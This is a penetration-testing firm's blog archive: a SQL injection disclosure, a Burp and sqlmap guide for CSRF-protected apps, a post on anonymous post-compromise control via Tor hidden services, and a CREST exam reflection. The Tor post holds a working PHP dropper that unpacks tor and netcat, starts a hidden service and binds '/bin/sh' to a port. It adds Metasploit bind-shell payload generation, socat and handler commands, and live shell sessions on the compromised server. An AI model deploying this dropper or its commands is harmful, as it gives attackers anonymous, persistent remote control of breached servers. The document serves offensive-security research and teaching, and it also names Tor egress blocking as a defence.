Vulnerability Disclosure: SQL Injection in Flash Page Flip

During an engagement for one of our clients we came across Flash Page Flip and found that it is vulnerable to SQL Injection. As per our responsible disclosure policy, the creators of Flash Page Flip were contacted to advise them of the issue.

90 days have passed since our initial communication, and we have received no further response. SQL injection is not a new topic. To be more precise, it is a 20th century bug which is supposed to be long gone. The reason we decided to pursue this vulnerability officially (CVE-2015-1556 and CVE-2015-1557) is due to the apparently wide spread use of this application.


The lack of input validation was noticed across the majority of Flash Page Flip’s code and affected multiple pages such as:

  • NewMember.php
  • GetUserData.php
  • SaveUserData.php
  • DeleteUserData.php
  • /xml/Pages.php

In other instances weak input sanitisation functionality was implemented, before the SQL query was sent to the backend database. Some of the affected pages are listed below:

  • /admin/EditSubCat.php
  • /admin/ViewPage.php
  • /admin/AddMag.php
  • /admin/AddCat.php
  • /admin/EditCat.php

Exploitation of this vulnerability could allow attackers to extract the data used by Flash Page Flip which may be considered not sensitive. However, Flash Page Flip could also be used as a plugin to other CMS platforms and therefore may share the same database, as it happened during our engagement. In this case, SQL Injection may result in exposure to more sensitive CMS data, including credentials.

The full advisory can be found here.

Communication timeline:

  • 27th Jan 2015 – Contacted vendor with initial disclosure
  • 10th Feb 2015 – Contacted vendor with CVE identifiers
  • 29th Apr 2015 – Vulnerability published

Fuzzing and Sqlmap inside CSRF-protected locations (Part 2)

– @dave_au

This is part 2 of a post on fuzzing and sqlmap’ing inside web applications with CSRF protection. In part 1 I provided a walkthough for setting up a Session Handling Rule and macro in Burp suite for use with Burp’s Intruder. In this part, I will walkthrough a slightly different scenario where we use Burp as a CSRF-protection-bypass harness for sqlmap.

Sqlmap inside CSRF

A lot of the process from part 1 of the post is common to part 2. I will only run through the key differences.

Again, you’ll need to define a Session Handling Rule, containing a macro sequence that Burp will use to login to the application, and navigate to the page that you need.

The first real difference is in the definition of scope for the session handling rule. Instead of setting the scope to “Intruder” and “Include all URLs”, you’ll need to set the scope to be “Proxy” and a custom scope containing the URL that you are going to be sqlmapping.


There is a note to “use with caution” on the tool selection for Proxy. It is not too hard to see why – if you scoped the rule too loosely for Proxy, each request could trigger a whole new session login. And then I guess the session login could trigger a session login, and then the universe would collapse into itself. Bad news. You have been warned.

Once the session handling rule is in place, find an in-scope request that you made previously, and construct it into a sqlmap command line.



In this example, I’m attempting an injection into a RESTful URL, so I’ve manually specified the injection point with “*”. I’ve included a cookie parameter that defines the required cookies, but the actual values of the cookies is irrelevant, since Burp will replace these based on the macro.
If it was a POST, you would need to include a similar –data parameter to sqlmap, where Burp would replace any CSRF tokens from hidden form fields. Finally, we have specified a proxy for sqlmap to use (Burp).

Running sqlmap, we start to see it doing it’s thing in the Burp Proxy window.

Screenshot a

That’s pretty much all there is to it.

One catch for the Session Handling Rule / macro configuration is that there isn’t a lot of evidence in the Burp tool (Intruder, Proxy, …) that anything is happening. If you are not getting the results that you would expect, the first thing to check is the Sessions Tracer, which can be found in the Session Handling Rules section. Clicking the “Open sessions tracer” button opens the Session Handling Tracer window. If a session handling rule is triggered, the actions for that rule will start to show up in the Tracer window. You can step through a macro, request by request, to see that everything is in order.

screenshot b


In this two part post, I’ve walked through setting up Burp Suite to do fuzzing inside CSRF-protected applications, both with Burp’s own Intruder tool and using an external tool (sqlmap).

Fuzzing and sqlmap inside CSRF-protected locations (Part 1)

– @dave_au

Hi all, David here. I was recently testing a web app for a client written in ASP.NET MVC. The developers are pretty switched on, and had used RequestValidation throughout the application in order to prevent CSRF. Further to this, in several locations, if there was a RequestValidation failure, they were destroying the current session and dropping the user back to the login form. Brutal.

I didn’t think that there would be any injection issues in the app, but I needed to test all the same and this presented an interesting challenge – how to fuzz or sqlmap on target parameters within the CSRF-protected pages of the application.

If I opted for a manual approach, the process would look like this:

  1. Login to the application
  2. Navigate to the page under test
  3. Switch Burp proxy to intercept
  4. Submit and intercept the request
  5. Alter the parameter under test in Burp, then release the request
  6. Observe results
  7. Goto 1

This would be incredibly slow and inefficient, and wouldn’t really provide a way of using external tools.

I scratched my head for a while and did some reading on Buby, Burp Extender and Sqlmap tamper scripting until I finally came across an article from Carstein at 128nops which led me to further reading by Dafydd on the Portswigger Web Security Blog. Turns out that Burp suite can do exactly what I needed, out of the box, so I thought I’d put together a step-by-step for how I solved the problem.

Fuzzing (with Intruder) inside CSRF

Note: Intruder has built-in recursive grep functionality that can be used in some circumstances to take the CSRF token from one response and use it in the following request (&c.)[1]. This wasn’t much good to me, since the session was being destroyed if CSRF validation failed.

In Burp terminology, you need to create a Session Handling Rule to make Intruder perform a sequence of actions (login, navigate to page under test) before each request.

Go to the “Options” tab, and select the “Sessions” sub-tab. “Session Handling Rules” is right at the top.


Click the “Add” button to create a new Session Handling Rule. The Session Handling Rule editor window opens. Give the rule a meaningful name, then click the “Add” button for “Rule Actions” and select “Run a macro” from the drop-down.


This opens the Session Handling Action Editor window…


In this window, click the “Add” button next to “Select macro:”. This opens the Macro Editor and Macro Recorder windows (shown a further on). Now that Burp is set up and waiting to record the sequence, switch over to your web browser. In a new window / session (making sure to delete any leftover session cookies), navigate to the login page, login, then navigate to the page within the application where you want to be doing fuzz testing. Once you are there, switch back over to Burp. The Macro Recorder should show the intercepted requests.


Select the requests that you want to use in the macro and click “OK”. This will close the Macro Recorder window.


In the Macro Editor window, give the macro a meaningful name and look through the “Cookies received”, “Derived Parameters” and “Preset Parameters” columns to check that Burp has analysed the sequence correctly. When you’re happy, you can test the macro out by clicking the “Test Macro” button. If everything looks alright, click “OK” to close the Macro Editor window.


Almost there.

Back in the Session Handling Action Editor window, you should be OK to leave the other options for updating parameters and cookies as-is. Click “OK” to exit out of here.

Now, back in the Session Handling Rule Editor window, you’ll see your macro listed in the Rule Actions…


Before you close this window, switch over to the “Scope” tab and alter the scope for the rule to be just for Intruder and “Include all URLs”. (If you want to be more specific, you could specify the URL that you wanted the rule to apply to, but I just put it in scope for all of Intruder, and remember to turn the rule off when I’m not using it. This becomes more important in Part 2 of this post.) Then close the Session Handling Rule Editor window.


Your session handling rule is now defined.

Next, go back over to Burp’s proxy and send the request that you want to fuzz over to Intruder in the usual way.


In Intruder’s “Position” tab, you’ll want to clear all of the injection points except for the one that you want to specifically fuzz test. Session cookies and any CSRF tokens (in cookies or hidden form fields) will be populated automatically by Intruder from the macro sequence.


Set your payloads and other options as required. If the application is sensitive to multiple concurrent sessions for the same user, you will need to reduce the number of threads to 1 in the “Options” tab.

Then start Intruder. You will almost certainly notice that Intruder runs slowly; this is to be expected when you consider that it is going through a new login sequence for each request.

To fuzz different parameters on the same page, just go back into “Positions” and choose the next target.

To fuzz parameters on a different page, you will probably need to go back into your Session Handling Rule and edit your macro (or define a new macro) that logs in and navigates to the new target page.

In part 2 of this post, I’ll step through a slightly different scenario where we use an external tool (sqlmap), proxied through Burp, with a Session Handling rule running on Burp’s Proxy.

Anonymous post-compromise control via Tor hidden services

Hi all, David here.  This post has been quite a long time coming.  The idea has been brewing in the back of my mind for a good six months and I’ve just been waiting until I had some spare cycles to write it up and post it.  Yay for Christmas and the holiday season!

I expect that this is going to be a relatively lengthy post.  If you can’t spare the time, see the TLDR at the bottom.

So, I can imagine certain scenarios where it would be highly desirable to remain anonymous when compromising and exerting post-compromise control over target systems on the Internet.  Setting aside any black-hat motivations I expect that law enforcement agencies and offensive cyber operations teams require effective anonymity at various times.  This led me to thinking about methods for post-compromise control of targets that are both:

a)      Useful, and
b)      Anonymous.

For the sake of simplicity, lets say that the target system is a web server on the Internet.  Pre-compromise activities (information gathering, application mapping, etc) and actual exploitation would be relatively easy to achieve with anonymity using the Tor anonymisation network.  However, once the system is compromised, your options for post-compromise command & control introduce some challenges to maintaining anonymity.

Broadly, the options that I can see for post-compromise control are:

  1. In-band control (within the HTTP or HTTPS service) – The most obvious example here would be to load a PHP shell onto the compromised system, and perform C&C through this.
  2. Out-of-band forward connection – You install a trojan service onto the compromised system, listening on a different unused network port (eg. Metasploit bind_tcp payloads).  This still lets you use Tor for C&C, but virtually every real world system will have some form of firewall in place which will prevent you from connecting to arbitrary listening ports.
  3. Out-of-band reverse connection – You install a trojan service onto the compromised system; the Trojan establishes an outbound connection to your C&C server (eg. Metasploit reverse_tcp and reverse_http payloads).  This is more likely to succeed against perimeter firewalls, but is a significant challenge to anonymity – you need to have a known IP address for the trojan to connect back to.

Option 1 isn’t a bad choice, but let’s be honest – web shells mostly suck.  They might be OK for rudimentary post-compromise activities, but I don’t think that they meet the primary requirement of being truly useful.  They don’t give you an interactive shell with job control and all of the nice stuff, let alone more advanced desirable features like port forwarding and application or network pivoting.

Option 2 is generally not practical due to pervasive firewalling, and Option 3 breaks the second primary requirement of maintaining anonymity.

The answer that I arrived at is to leverage Tor hidden services on the compromised host.

The assumed pre-requisites for this method of anonymous, useful, post-compromise control are as follows:

  1. You have already compromised the system, and you are able to upload and execute arbitrary code (doesn’t necessarily need to be privileged execution);
  2. The compromised system is able to establish an outbound connection to the Tor network.  This isn’t too much of a stretch; I’ve seen a lot of DMZ infrastructure and hosted websites that have more or less unrestricted egress access for grabbing automatic updates or to facilitate administration.

The steps go like this:

  1. Upload your required trojan or network service and bind it to an unused port on the localhost interface (bind_tcp).
  2. Upload a Tor client with a hidden services configuration and run it .  The client establishes a connection to the Tor network, and sets up the hidden service, redirecting to the trojan listener that you set up in step 1.
  3. From your workstation, establish a connection to the Tor network and connect to the published hidden service.  Egress becomes ingress and you are able to establish an out-of-band forward connection, with anonymity, straight through the target’s firewall.

Hidden Services diagram

The choice of network service that you install on the compromised host is limited only by your imagination.  Some options might include:

  • A netcat listener bound to a shell;
  • A customised SSH daemon;
  • A meterpreter payload ;
  • A SOCKS daemon, providing an application proxy pivot onto the target network;
  • An OpenVPN daemon, proving network layer pivot capability onto the target network.

One small obstacle that makes this process a little more difficult is the fact that a LOT of client applications don’t natively support connecting via SOCKS, or they implement SOCKS poorly in relation to name resolution.  In order to access a hidden service on Tor, the client needs to be able to use the SOCKS proxy server provided by the Tor client, and the client needs to defer name resolution to the SOCKS server.  To imbue non-SOCKS-enabled clients with SOCKS capability, you need to look to an additional tool like torify or socat.

The examples below show the process from end-to-end both for a Netcat shell listener, and also for a metasploit bind_tcp shell.  Both examples utilise socat to enable the client to connect to the published hidden service.

Example 1 – Netcat shell listener

Step 1 – Tor hidden service pre-configuration

Tor hidden services, identified by “.onion” pseudo-TLD addresses, are linked to a private key.  If you move the private key from one Tor client to another, the hidden service definition follows.  In order to know the hidden service address that you’ll be using for post-compromise control, it is necessary to generate the private key and matching hostname ahead of time.  So, we create a very simple torrc file and create a new private key and hostname…

david@GTFO:~$ cd torcontrol/
david@GTFO:~/torcontrol$ ls -l
total 1232
-rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor
-rw-rw-r-- 1 david david     141 Dec 24 13:14 torrc
david@GTFO:~/torcontrol$ cat torrc
SocksPort 9050
#HiddenServiceDir /var/tmp/tor/
HiddenServiceDir ./hidden/
HiddenServicePort 2222
david@GTFO:~/torcontrol$ ./tor -f ./torrc
Dec 24 13:16:45.497 [notice] Tor v0.2.2.37. This is experimental software. Do not rely on it for strong anonymity. (Running on Linux x86_64)
Dec 24 13:16:45.497 [notice] Initialized libevent version 2.0.16-stable using method epoll. Good.
Dec 24 13:16:45.498 [notice] Opening Socks listener on
Dec 24 13:16:45.552 [notice] OpenSSL OpenSSL 1.0.1 14 Mar 2012 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation
Dec 24 13:16:45.608 [warn] Please upgrade! This version of Tor ( is obsolete, according to the directory authorities. Recommended versions are:,,,,
Dec 24 13:16:45.794 [notice] We now have enough directory information to build circuits.
Dec 24 13:16:45.794 [notice] Bootstrapped 80%: Connecting to the Tor network.
Dec 24 13:16:47.087 [notice] Bootstrapped 85%: Finishing handshake with first hop.
Dec 24 13:16:49.129 [notice] Bootstrapped 90%: Establishing a Tor circuit.
Dec 24 13:16:51.813 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.
Dec 24 13:16:51.813 [notice] Bootstrapped 100%: Done.
^CDec 24 13:16:59.010 [notice] Interrupt: exiting cleanly.
david@GTFO:~/torcontrol$ ls -l
total 1236
drwx------ 2 david david    4096 Dec 24 13:16 hidden
-rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor
-rw-rw-r-- 1 david david     141 Dec 24 13:14 torrc
david@GTFO:~/torcontrol$ cd hidden
david@GTFO:~/torcontrol/hidden$ ls -l
total 8
-rw------- 1 david david  23 Dec 24 13:16 hostname
-rw------- 1 david david 887 Dec 24 13:16 private_key
david@GTFO:~/torcontrol/hidden$ cat hostname

Step 2 – Construct a payload to upload to the compromised system

This stage will vary from server to server, and depending on what service you want to run on the compromised system.  My target system is a Linux server, running Apache with PHP.  The payload bundle contains everything that will be required to establish the Tor hidden service, as well as my required trojan.

Caveat: I am not a coder.  This is a hideous hack in order to achieve my requirement.  I am certain that there are 100’s of more elegant ways of achieving the same net result.

Payload “dropper.php” follows:

$str = 'H4sICB3s11AAA3RvcgCMWwmYHFW1vplMkh6yJ5CwBEg0wOCDkAxJTBA124Ssk3GSQBCw0tNdPVNM
$handle = fopen("/tmp/tor.gz", "w+");
shell_exec('gunzip /tmp/tor.gz');
shell_exec('chmod 755 /tmp/tor');

$str = 'SocksPort 9050
DataDirectory /tmp/.tor
HiddenServiceDir /tmp/hidden/
HiddenServicePort 2222
$handle = fopen("/tmp/torrc", "w+");
shell_exec('mkdir /tmp/hidden');
shell_exec('chmod 700 /tmp/hidden');

$str = 'zcbvswdhpmb7mkgq.onion';
$handle = fopen("/tmp/hidden/hostname", "w+");
shell_exec('chmod 600 /tmp/hidden/hostname');

$str = '-----BEGIN RSA PRIVATE KEY-----
$handle = fopen("/tmp/hidden/private_key", "w+");
shell_exec('chmod 600 /tmp/hidden/private_key');
system('/tmp/tor -f /tmp/torrc >/tmp/log 2>&1 &');

$str = 'H4sICC/s11AAA25jAO18fXhU1bX3mckEJhicqFBRUY82FFASCaJCCBo+RvHKl0oqLUScZGaYKZOZ
$handle = fopen("/tmp/nc.gz", "w+");
shell_exec('gunzip /tmp/nc.gz');
shell_exec('chmod 755 /tmp/nc');
system('/tmp/nc -l -p 2222 -e /bin/sh >/dev/null 2>&1 &');

Step 3 – Upload the payload bundle to the web server

Using your Tor-enabled web browser, first check that Tor is active…


Then navigate to the target system…


And using the vulnerable file upload facility, upload your payload…


Step 4 – Execute your payload on the web server

There’s not too much to see here from the attacker’s perspective, so I’ve illustrated this with some behind-the-scenes information from the web server.  Here’s the situation before the upload:

root@ip-10-128-69-141:/var/www# ls -l
total 12
-rw-r--r-- 1 www-data www-data  66 2013-01-10 06:58 index.html
-rw-r--r-- 1 www-data www-data 358 2012-12-24 06:23 uploader.php
-rw-r--r-- 1 www-data www-data 332 2012-12-24 06:15 upload.html

And the same listing after we’ve uploaded the payload:

root@ip-10-128-69-141:/var/www# ls -l
total 724
-rw-r--r-- 1 www-data www-data 722088 2013-01-10 07:03 dropper.php
-rw-r--r-- 1 www-data www-data     66 2013-01-10 06:58 index.html
-rw-r--r-- 1 www-data www-data    358 2012-12-24 06:23 uploader.php
-rw-r--r-- 1 www-data www-data    332 2012-12-24 06:15 upload.html

Before we run the payload, this is what the system looks like:

root@ip-10-128-69-141:/var/www# ps -ef | grep www-data
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start
root@ip-10-128-69-141:/var/www# ls -la /tmp
total 8
drwxrwxrwt  2 root root 4096 2013-01-10 07:07 .
drwxr-xr-x 21 root root 4096 2013-01-10 06:39 ..

No unusual processes, and nothing fun in /tmp.
Then we run the payload container from the browser…


…which unpacks our files and executes them, resulting in the following:

root@ip-10-128-69-141:/var/www# ls -la /tmp
total 1260
drwxrwxrwt  4 root     root        4096 2013-01-10 07:09 .
drwxr-xr-x 21 root     root        4096 2013-01-10 06:39 ..
drwx------  2 www-data www-data    4096 2013-01-10 07:08 hidden
-rw-r--r--  1 www-data www-data    4434 2013-01-10 07:09 log
-rwxr-xr-x  1 www-data www-data   22076 2013-01-10 07:08 nc
-rwxr-xr-x  1 www-data www-data 1230144 2013-01-10 07:08 tor
drwx------  2 www-data www-data    4096 2013-01-10 07:09 .tor
-rw-r--r--  1 www-data www-data     136 2013-01-10 07:08 torrc
root@ip-10-128-69-141:/var/www# ps -ef | grep www-data
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1915     1  6 07:08 ?        00:00:04 /tmp/tor -f /tmp/torrc
www-data  1921     1  0 07:08 ?        00:00:00 /tmp/nc -l -p 2222 -e /bin/sh

Step 5 – Connect to the hidden service

Finally, we are ready to connect to the hidden service to gain access to the trojan.  Allow a couple of minutes from when the payload is first run, as it can sometimes take a while for Tor to bootstrap itself, and for the hidden service to register in the Tor directory.

In shell #1, start up socat…

$ socat TCP4-LISTEN:2222 SOCKS4a:,socksport=9050

Then, in shell #2, connect to the socat listener…

$ nc 2222
ls -la
total 760
drwxr-xr-x  4 root     www-data   4096 Jan 10 06:40 .
drwxr-xr-x 15 root     root       4096 Jun 29  2011 ..
-rw-r--r--  1 www-data www-data 722072 Jan 10 06:40 dropper.php
-rw-r--r--  1 www-data www-data     30 May 28  2012 index.html
-rw-r--r--  1 www-data www-data    332 Dec 24 06:15 upload.html
-rw-r--r--  1 www-data www-data    358 Dec 24 06:23 uploader.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/sbin/ifconfig -a
eth0      Link encap:Ethernet  HWaddr 12:31:40:00:46:63
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::1031:40ff:fe00:4663/64 Scope:Link
          RX packets:42289 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29494 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:29078650 (29.0 MB)  TX bytes:8783815 (8.7 MB)

lo        Link encap:Local Loopback
          inet addr:  Mask:
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:242 errors:0 dropped:0 overruns:0 frame:0
          TX packets:242 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23980 (23.9 KB)  TX bytes:23980 (23.9 KB)
echo Giddyup\!

Example 2 – Metasploit bind shell

Step 1 – Tor hidden service pre-configuration

As above

Step 2 – Construct a payload to upload to the compromised system

Mostly as above.  Instead of the netcat binary, we need to build a staged metasploit bind shell payload, as follows…
root@GTFO:~/torcontrol# msfpayload linux/x86/shell/bind_tcp LPORT=2222 X > msfshell.bin
Created by msfpayload (
Payload: linux/x86/shell/bind_tcp
 Length: 79
Options: {"LPORT"=>"2222"}
root@GTFO:~/torcontrol# ls -l msfshell.bin
-rw-r--r-- 1 root root 163 Jan 10 15:29 msfshell.bin

This then gets built into payload.php.

Step 3 – Upload the payload bundle to the web server

As above

Step 4 – Execute your payload on the web server

As above.  The filesystem objects and process listing will obviously be slightly different…

$ ps -ef | grep www-data
www-data  1440   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1441   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1443   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1445   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1446   602  0 06:25 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1522   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1523   602  0 06:34 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1568   602  0 06:37 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  1915     1  0 07:08 ?        00:00:08 /tmp/tor -f /tmp/torrc
www-data  2031  2029  0 07:36 pts/0    00:00:00 /tmp/msfshell.bin
$ netstat -nap |grep 2222
tcp        0      0  *               LISTEN      2031/msfshell.bin

Step 5 – Connect to the hidden service

In shell #1, again we start up socat…

$ socat TCP4-LISTEN:2222 SOCKS4a:,socksport=9050

Then, in shell #2, we fire up msfconsole and point it at socat…

root@GTFO:~/Work/Metasploit_dev# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1017 exploits - 566 auxiliary - 167 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf  exploit(handler) > set LPORT 2222
LPORT => 2222
msf  exploit(handler) > set RHOST
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (linux/x86/shell/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  2222             yes       The listen port
   RHOST    no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf  exploit(handler) > exploit

[*] Started bind handler
[*] Sending stage (36 bytes) to
[*] Starting the payload handler...
[*] Command shell session 1 opened ( -> at 2013-01-10 15:56:26 +0800

ls -la
total 1264
drwxrwxrwt  4 root     root        4096 Jan 10 07:39 .
drwxr-xr-x 21 root     root        4096 Jan 10 06:39 ..
drwx------  2 www-data www-data    4096 Jan 10 07:50 .tor
drwx------  2 www-data www-data    4096 Jan 10 07:08 hidden
-rw-r--r--  1 www-data www-data    4434 Jan 10 07:09 log
-rwxr-xr-x  1 www-data www-data     163 Jan 10 07:32 msfshell.bin
-rwxr-xr-x  1 www-data www-data   22076 Jan 10 07:08 nc
-rwxr-xr-x  1 www-data www-data 1230144 Jan 10 07:08 tor
-rw-r--r--  1 www-data www-data     136 Jan 10 07:08 torrc
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] - Command shell session 1 closed.  Reason: Died from EOFError
msf  exploit(handler) >

Last Notes:

  • There are obviously a number of variations possible for this approach; for example, the payload could be delivered as an email attachment, or loaded onto another compromised web server as a drive-by download or spearphishing destination.  In any case, if the compromised system is able to establish an outbound connection to Tor then the system can become a hidden server, and can be controlled via this hidden service.  If you are an administrator and you want to avoid this happening to your systems, you need to ensure that they are not able to establish a connection to the Tor network.
  • It is a real shame that more security tools don’t have native support for SOCKS4a; having to use socat is a real pain.  It would be awesome to see real SOCKS support in, say, Metasploit, Nessus, Nmap, …
  • While I am on “wishlist” items, it would also be really good to see Linux meterpreter get a whole lot better. When I started tinkering with this method, I burnt a lot of time trying to get it working with meterpreter on a Linux x86 target – my success rate was something like 1 in 20, or 1 in 30.  The payload and stager seem to be either unstable or intolerant of the network delays that Tor can bring.


If a compromised system can establish a connection to the Tor network, it can be used to host a hidden service of the attackers choosing.  This hidden service can be accessed anonymously via Tor.

– @dave_au

The road to CREST

Hey, Dave here.. I’ve recently sat the CREST Australia exams which in turn resulted in Asterisk becoming one of the first Australian CREST member organisations. This has been a long (and difficult) journey and I wanted share a few of my experiences, thoughts and comments.

First, a bit of background. CREST is the Council of Registered Ethical Security Testers. The organisation was formed in the UK in 2007 / 2008 [1,2] with an aim to standardise ethical penetration testing and to provide professional qualifications for testers. By most accounts CREST has been a big success in the UK; the accreditation was adopted by the UK government, who now require that all penetration testing is performed by CREST certified testers from CREST approved organisations.

In 2011, the Australian Attorney Generals Department provided one-off seed funding to establish CREST in Australia, and in 2012 CREST Australia was created as a non-profit organisation [3]. Like the UK, the Australian government’s goal, was to provide Australian businesses and government agencies with a means of assuring that security testing work is performed… “with integrity, accountability and to agreed standards.

July this year I was invited to become part of the technical establishment team for CREST Australia. This was a real honour for me, but at the same time a bit daunting when I considered the calibre of the other individuals and organisations that were to be involved. When I’d first started hearing about CREST Australia, I suspected that it might end up being comprised of organisations at the big end of town. I like to think that Asterisk were invited as a representative presence for the many excellent niche information security providers in the market.

The next few months involved a lot of preparation and planning; licensing for the exam IP was obtained from the UK, and hardware for the testing rig was procured, configured and shipped to Australia. Also, July to September involved a lot of study and preparation for me personally. Although I have been doing pen-testing in one form or another since 1997, the CREST syllabus covers a lot of ground, and unless you’re testing regularly on a wide variety of platforms, these exams are no walk in the park.

At the end of September the technical establishment team descended on the bustling metropolis that is Canberra to sit the three exams that CREST Australia offer: CREST Registered Tester (CRT), CREST Certified Tester – Applications (CCT App) and CREST Certified Tester – Infrastructure (CCT Inf). We all sat these three exams over a period of three days; to be brutally honest, this was a horrendous experience – 15+ hours of the hardest exams that I’ve ever experienced in the space of 3 days. I can’t remember being so stressed in my entire life. Pro tip: don’t try to do all the exams back-to-back.

In the end somehow I pulled the rabbit from the hat and achieved the CCT certification necessary to go on to become an assessor.  We spent the next few days learning the ins and outs of exam invigilation (yup, this is a real word), then closed out the week by running the very first CREST Australia exams for a packed house of candidates.

Who knows what the future holds for CREST Australia. Asterisk are hoping that the various arms of government, regulators and corporations will recognise the value of CREST certification and will incorporate it into their evaluation process for pen-testing providers. While there is absolutely no assertation that a pen-testing company needs to be CREST certified in order to deliver quality results, we believe that CREST certification provides clients with a degree of confidence that pen-testing will be performed to a high, repeatable standard.

Personally, I’d really like to see more niche providers in the game. There are a few of us and I think we do great work. I’d like to break down some of the ingrained corporate mentality that for security testing to be done well, it needs to be done by a Big 4 company / IBM.  Maybe CREST is a way for us to start competing on more of a level footing.

TLDR; CREST exams are really hard; don’t think that you can pass without extensive prep and/or experience. If you’re from a client organisation, CREST certified testers & organisations know what they are on about.